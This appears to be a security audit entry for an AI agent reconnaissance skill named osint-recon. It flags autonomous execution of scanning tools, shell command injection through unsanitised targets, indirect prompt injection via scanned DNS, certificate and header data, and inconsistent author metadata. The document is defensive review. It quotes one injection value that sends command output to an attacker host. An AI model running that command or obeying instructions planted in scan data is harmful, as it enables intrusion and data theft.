The Agent Skills Directory

[COMMAND_EXECUTION]: The skill is designed to run a comprehensive suite of shell-based reconnaissance tools, including nmap, ffuf, nuclei, subfinder, and httpx. The instructions explicitly set the default mode to execute, which encourages the agent to perform these actions autonomously without requiring per-command approval for routine tasks.
[COMMAND_EXECUTION]: User-supplied target inputs are directly interpolated into shell command templates (e.g., subfinder -d <target>, whois <target>, and nmap ... <target>) without any evidence of sanitization or validation. This pattern is highly susceptible to shell command injection attacks if a user provides a target containing shell metacharacters (e.g., target.com; curl http://attacker.com/$(id)).
[INDIRECT_PROMPT_INJECTION]: The workflow ingests external data from the crt.sh API and the outputs of various scanning tools. This data is then processed and correlated to produce a prioritized report. The skill lacks boundary markers or instructions to ignore embedded commands within the ingested data, creating an attack surface where malicious content in DNS records, SSL certificates, or HTTP response headers could influence the agent's logic or reporting.
[METADATA_POISONING]: A discrepancy exists between the author name "GhostWorks" provided in the SKILL.md YAML frontmatter and the author context provided in the environment ("specterops"). Deceptive or inconsistent metadata can complicate the assessment of a skill's origin and intent.

osint-recon